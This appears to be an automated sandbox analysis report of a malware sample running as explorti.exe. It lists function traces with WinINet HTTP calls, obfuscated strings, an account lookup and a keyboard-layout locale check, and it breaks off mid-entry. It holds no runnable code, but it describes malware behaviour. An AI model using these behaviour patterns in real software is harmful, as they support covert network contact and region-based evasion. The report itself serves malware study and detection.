Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 054E0C1C Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1733006947.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6aba35b69b3fb533e671cc8a4a06117abfb6f5461481b24177c697ab0d40a0
Instruction ID: 6ede8fb20acec96b19ee84502ef3d9b353545469037bbe0de562e81e97d056e8
Opcode Fuzzy Hash: bf6aba35b69b3fb533e671cc8a4a06117abfb6f5461481b24177c697ab0d40a0
Instruction Fuzzy Hash: 0C216DEB1881117DB102C5826B58AF66B7FE4C63713318437F81BD6506E2D94A5E6272

Function 054E0C66 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1733006947.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1cd13ddda20e5abbcb120a2bc0c4b903d468a870a5f2f364fc805b5d97b97ad
Instruction ID: e51a197f30b3b1ad08d8dc28a3808f3a22f9e277346f61cc0ac6204757d73016
Opcode Fuzzy Hash: b1cd13ddda20e5abbcb120a2bc0c4b903d468a870a5f2f364fc805b5d97b97ad
Instruction Fuzzy Hash: 7E117FEB1881217D7142C1862B18EFBABAFE4C6371331C437F81BE6806E2C94A5F6171

Function 054E0C5B Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1733006947.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07696f7d6672ee02d04e2cf296abd524c99391a9c79c20292c4d19630c144aae
Instruction ID: aefd8942be7eccbceacadc68249bc6f8e45403a852fdea4c4158ba6c8a0649b3
Opcode Fuzzy Hash: 07696f7d6672ee02d04e2cf296abd524c99391a9c79c20292c4d19630c144aae
Instruction Fuzzy Hash: 0F1149EB1881217D7102C5862B1CEFB6AAFE0C6332331C437F81BE2906E2D84A5F6171

Function 054E0CE6 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1733006947.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f9afbb14c9ae06fe8dacbcd7f2796ec8a15e340ad44d89031ee8085a8ea8948
Instruction ID: 190a2e4f2d46dc120fc893d5c526501c65810faaa6e27ae7bad3b505eb0645b2
Opcode Fuzzy Hash: 8f9afbb14c9ae06fe8dacbcd7f2796ec8a15e340ad44d89031ee8085a8ea8948
Instruction Fuzzy Hash: 19118BEB1480217DB502C5966B58EFB6B6EE1D6731331C427F85BE240AE2C94E8B6172

Function 054E0C89 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1733006947.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dbbc82611ec828c8c375aa5457ecea3ec01bf34b2d9b90fec05ca007be0ad01
Instruction ID: c21c81514de124f7a340490893a2493c83312e98c143cbe5bf03e3b022f66a4b
Opcode Fuzzy Hash: 6dbbc82611ec828c8c375aa5457ecea3ec01bf34b2d9b90fec05ca007be0ad01
Instruction Fuzzy Hash: C7114CEB14C1217DA142C5862B5CDF76BBEE0D6232330842BF81BE5506E2D94A4E6272

Function 054E0CA6 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1733006947.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67c548636f0a93798948714ef50a062c524bd52dab59a38ebe6c924baff9e2ec
Instruction ID: 3c1559878133c8ff858e93115aa4559299c4b2a74ef417f881e5e47ff0011df8
Opcode Fuzzy Hash: 67c548636f0a93798948714ef50a062c524bd52dab59a38ebe6c924baff9e2ec
Instruction Fuzzy Hash: 6E114CEF1480117D7502C1966B5CEFB6B6EE4C6771331C427F81BD1406E2D54E5E6272

Function 054E0CCB Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1733006947.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 690fc3ab1bfd596983c168bc21fa60de35d30822fea8a2e03297c3f3da80fa59
Instruction ID: 84387318ede85cf482a59a7479653feca2a1c82d02430d6ea204183105ec6e46
Opcode Fuzzy Hash: 690fc3ab1bfd596983c168bc21fa60de35d30822fea8a2e03297c3f3da80fa59
Instruction Fuzzy Hash: 15118BEB1481117DB502C6822F58EF76BAEE1C6332331C437F81BD2406E2D90A8E6231

Function 054E0D00 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1733006947.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efd9fbf4f527650741f94182bf97fedb31f7cc577e0fa21aeafe1537c6d54fbc
Instruction ID: 81368362c82122793fbbede57ed611aaaa2333e4e77fa72a8fe08503d87f7a82
Opcode Fuzzy Hash: efd9fbf4f527650741f94182bf97fedb31f7cc577e0fa21aeafe1537c6d54fbc
Instruction Fuzzy Hash: A90184EB24C1607DB242D1A62A59DF76BAEE4C2771335C47BF846C3947E2890A4E6231

Function 054E0D38 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1733006947.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f8b4384bbcae0d478ae64d05ca313c5125b00e4b51605d5d206fbdc00f07a27
Instruction ID: 05d5fdfc7905049bf780fbe07f16863072ba10550a430470d44c083f12349878
Opcode Fuzzy Hash: 5f8b4384bbcae0d478ae64d05ca313c5125b00e4b51605d5d206fbdc00f07a27
Instruction Fuzzy Hash: C4F017EB1481607DB102C1923B28EFB97ADE0D2731332C83BF846C2406E2C80E4E6232

Function 054E0D4F Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1733006947.00000000054E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 054E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_54e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e229c6f63038396b735a184467c254baf6d0e9cb9b847cd044bf244142a5ffb9
Instruction ID: ac626d513de27e2bfb7c1bccef05078d2c8055ac3988e77031e41e932362390d
Opcode Fuzzy Hash: e229c6f63038396b735a184467c254baf6d0e9cb9b847cd044bf244142a5ffb9
Instruction Fuzzy Hash: 91F0DAEB1491213DB142D1923F28EFB67ADE4C6731331C43BF846C2406E2D90E8E6532

Analysis Process: explorti.exePID: 7692, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	10.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.5%
Total number of Nodes:	1905
Total number of Limit Nodes:	36

Executed Functions

Function 00AFBD60 Relevance: 19.6, APIs: 5, Strings: 6, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00B48D68,00000000,00000000,00000000,00000000), ref: 00AFBDED
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00AFBE11
HttpOpenRequestA.WININET(?,00000000), ref: 00AFBE5B
HttpSendRequestA.WININET(?,00000000), ref: 00AFBF1A
InternetReadFile.WININET(?,?,000003FF,?), ref: 00AFBFCD
InternetCloseHandle.WININET(?), ref: 00AFC0A7
InternetCloseHandle.WININET(?), ref: 00AFC0AF
InternetCloseHandle.WININET(?), ref: 00AFC0B7

Strings

PG3NVu==, xrefs: 00AFBE33
PoPn, xrefs: 00AFD516
6JLUcxtnEx==, xrefs: 00AFC2EB, 00AFC543
invalid stoi argument, xrefs: 00AFE404
6JLUcBRYEz9=, xrefs: 00AFC385
stoi argument out of range, xrefs: 00AFE3FA

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
String ID: 6JLUcBRYEz9=$6JLUcxtnEx==$PG3NVu==$PoPn$invalid stoi argument$stoi argument out of range
API String ID: 688256393-884042532
Opcode ID: 5510dee20c692c643779b9f16774adfd2f4c025bf327b4010fce0ac34da37b85
Instruction ID: f60171e48573adea65756e3cfe388dd029f10009e56aa2fc1562bbbcc067f6e4
Opcode Fuzzy Hash: 5510dee20c692c643779b9f16774adfd2f4c025bf327b4010fce0ac34da37b85
Instruction Fuzzy Hash: 94B1F5B1A1011C9BEB24DF69CD84BEEBBB5EF45314F5041A9F608972D1DB709AC0CBA4

Function 00AFE440 Relevance: 14.8, Strings: 11, Instructions: 1000
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

UVu=, xrefs: 00B004DA
SC==, xrefs: 00AFEA1F, 00AFEC66
UFy=, xrefs: 00AFF62D, 00AFF90A
EpPoaRV1, xrefs: 00AFE47F
246122658369, xrefs: 00AFF647, 00AFF924, 00B004F7, 00B008AA
KS==, xrefs: 00AFE4A5
UVy=, xrefs: 00B0088D
KIG+, xrefs: 00AFE734
#, xrefs: 00B00534
111, xrefs: 00AFF6B0
0657d1, xrefs: 00AFFA9E

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: #$0657d1$111$246122658369$EpPoaRV1$KIG+$KS==$SC==$UFy=$UVu=$UVy=
API String ID: 0-3836280467
Opcode ID: cefc195a7be079b3bc45b1f16bbbc2f594272732d7040df14d890afc91a1f951
Instruction ID: d80cd051f9b5071da8e57b3bca999db63ce05a789e1680a2ef530eb716019115
Opcode Fuzzy Hash: cefc195a7be079b3bc45b1f16bbbc2f594272732d7040df14d890afc91a1f951
Instruction Fuzzy Hash: 5D82A17090424C9BEF14EFA8C9497DDBFF6AB46304F508198E805673D2DB759A88CBD2

Function 00AF65B0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00AF6650

Strings

GUPmdK==, xrefs: 00AF67A1
PAUfbBZl, xrefs: 00AF666C
EUVmdK==, xrefs: 00AF66F8

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: EUVmdK==$GUPmdK==$PAUfbBZl
API String ID: 1484870144-2376134257
Opcode ID: 70972a8fecfbe166d178f996fa4e5ea2722fdde3bd22f3349cb6eea97004f8b5
Instruction ID: 0d16519396644773c39bef2a0997c32133338ab2e945ded13d8bbf16fbc7a180
Opcode Fuzzy Hash: 70972a8fecfbe166d178f996fa4e5ea2722fdde3bd22f3349cb6eea97004f8b5
Instruction Fuzzy Hash: 8191A0B1A0011C9BDB28DB68CC85BEDB7B9EB45304F4045EDF61997282DA719BC4CFA4

Function 00B0D312 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00AF247E

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 30f60208d31488302445cb7b1bed28867af9d25c5713b1a135c1a046a2e7dbb0
Instruction ID: cf529a870664918f54e8896b3f47ff88d3696b3676ff8e9c107f8444b0489a91
Opcode Fuzzy Hash: 30f60208d31488302445cb7b1bed28867af9d25c5713b1a135c1a046a2e7dbb0
Instruction Fuzzy Hash: 8B518CB1A017058FDB25CF98D8957AEBBF5FB08311F2486AAD805EB2D0EB749941CF50

Function 00B03550 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00B0425F

Part of subcall function 00B07870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00B0795C
Part of subcall function 00B07870: __Cnd_destroy_in_situ.LIBCPMT ref: 00B07968
Part of subcall function 00B07870: __Mtx_destroy_in_situ.LIBCPMT ref: 00B07971

Strings

FAml, xrefs: 00B0378F
9YY0, xrefs: 00B053CC
Toe0, xrefs: 00B05447
Dy==, xrefs: 00B0369E, 00B04D2D
UIU0, xrefs: 00B053A3
KIK+, xrefs: 00B047BD, 00B048EC, 00B04ADC, 00B04C0B
KIG+, xrefs: 00B04776, 00B047ED, 00B04A95, 00B04B0C
6YK0, xrefs: 00B05502
", xrefs: 00B03E99
84K0, xrefs: 00B05497
invalid stoi argument, xrefs: 00B02DE9, 00B02DF8, 00B0425A, 00B04E9D
75G0, xrefs: 00B05470
7JS0, xrefs: 00B05351
UZbf, xrefs: 00B03AEE
85K3cq==, xrefs: 00B04712
T4Ve, xrefs: 00B03DC0
0657d1, xrefs: 00B05489
8IG0, xrefs: 00B053F5
8lU=, xrefs: 00B06383
5120, xrefs: 00B03ABF, 00B03BAA
9pG0, xrefs: 00B054DB
246122658369, xrefs: 00B01EA5, 00B027EE, 00B02A43, 00B02AB0, 00B02E88, 00B03373, 00B033D4, 00B04F3A, 00B04F4D, 00B04F8F, 00B04F99, 00B054F4
TZS0, xrefs: 00B0537A
UIrm, xrefs: 00B03BD9
TZC0, xrefs: 00B0541E
7470, xrefs: 00B0531D
IEYUMK==, xrefs: 00B054B9
stoi argument out of range, xrefs: 00B02E02, 00B04269, 00B04EAC

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: "$0657d1$246122658369$5120$6YK0$7470$75G0$7JS0$84K0$85K3cq==$8IG0$8lU=$9YY0$9pG0$Dy==$FAml$IEYUMK==$KIG+$KIK+$T4Ve$TZC0$TZS0$Toe0$UIU0$UIrm$UZbf$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-4111701409
Opcode ID: b140b232434d4da45bea560e0f0a893c2809d8817a16854feb161e3893347c2a
Instruction ID: 5f831824a0da106d684a045660b38d99c0ee0ef727c2df11feeccf572bab1e45
Opcode Fuzzy Hash: b140b232434d4da45bea560e0f0a893c2809d8817a16854feb161e3893347c2a
Instruction Fuzzy Hash: E552E271E102489BEF18EF68CD4A79DBFF5AB45304F5081D8E405A72C2DB759A84CBA2

Function 00B046C0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 00B07870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00B0795C
Part of subcall function 00B07870: __Cnd_destroy_in_situ.LIBCPMT ref: 00B07968
Part of subcall function 00B07870: __Mtx_destroy_in_situ.LIBCPMT ref: 00B07971

Part of subcall function 00AFBD60: InternetOpenW.WININET(00B48D68,00000000,00000000,00000000,00000000), ref: 00AFBDED
Part of subcall function 00AFBD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00AFBE11
Part of subcall function 00AFBD60: HttpOpenRequestA.WININET(?,00000000), ref: 00AFBE5B

std::_Xinvalid_argument.LIBCPMT ref: 00B04EA2

Strings

8IG0, xrefs: 00B053F5
8lU=, xrefs: 00B06383, 00B06652
9YY0, xrefs: 00B053CC
Toe0, xrefs: 00B05447
9pG0, xrefs: 00B054DB
246122658369, xrefs: 00B04F3A, 00B04F4D, 00B04F8F, 00B04F99, 00B054F4
Dy==, xrefs: 00B0369E, 00B04D2D
UIU0, xrefs: 00B053A3
KIK+, xrefs: 00B047BD, 00B048EC, 00B04ADC, 00B04C0B
KIG+, xrefs: 00B04776, 00B047ED, 00B04A95, 00B04B0C
6YK0, xrefs: 00B05502
TZS0, xrefs: 00B0537A
TZC0, xrefs: 00B0541E
84K0, xrefs: 00B05497
7470, xrefs: 00B0531D
75G0, xrefs: 00B05470
7JS0, xrefs: 00B05351
IEYUMK==, xrefs: 00B054B9
85K3cq==, xrefs: 00B04712
stoi argument out of range, xrefs: 00B04269, 00B04EAC
0657d1, xrefs: 00B05489

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestXinvalid_argumentstd::_
String ID: 0657d1$246122658369$6YK0$7470$75G0$7JS0$84K0$85K3cq==$8IG0$8lU=$9YY0$9pG0$Dy==$IEYUMK==$KIG+$KIK+$TZC0$TZS0$Toe0$UIU0$stoi argument out of range
API String ID: 2414744145-1285461467
Opcode ID: 3eaa75fee24c51a482721cf016601c62e4ecd0fbf22f12919500e67c3967614e
Instruction ID: c21c53271b337e9a421d3bb9075261ddcc1c30af84e80b7b120ab498d76605aa
Opcode Fuzzy Hash: 3eaa75fee24c51a482721cf016601c62e4ecd0fbf22f12919500e67c3967614e
Instruction Fuzzy Hash: AE233671E002588BEB19DB28CD8979DBFB6AF85304F5081D8E409A72D2EB359F84CF51

Function 00AF5DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Keyboard Layout\Preload, xrefs: 00AF5F64
00000419, xrefs: 00AF5FA8
00000422, xrefs: 00AF5FD9
00000423, xrefs: 00AF600A
0000043f, xrefs: 00AF603B

Memory Dump Source

Source File: 00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000006.00000002.2880080002.0000000000AF0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880125068.0000000000B52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880284694.0000000000B59000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000B5B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DC3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2880337631.0000000000E09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881079618.0000000000E0A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881489805.0000000000FA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2881555908.0000000000FAB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_af0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 983315b58c60874189c6e5ce714f28c64749d1e37b7aa47ea11e5d9a9ff8460c
Instruction ID: 0fbb14d77c5af6ebb2ec64f98d1b870334c0399edd18e69d43d70cc58487cc9d
Opcode Fuzzy Hash: 983315b58c60874189c6e5ce714f28c64749d1e37b7aa47ea11e5d9a9ff8460c
Instruction Fuzzy Hash: C4E17E7190021CABEB24DFA4CD89BEDB7B9AB14304F5042D9E509A7291DB74AFC4CF51

Function 00AF7D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00AF7EA3

Strings

HlurOK==, xrefs: 00AF8062
HlurNa==, xrefs: 00AF81B2
HlusMa==, xrefs: 00AF810A

Memory Dump Source

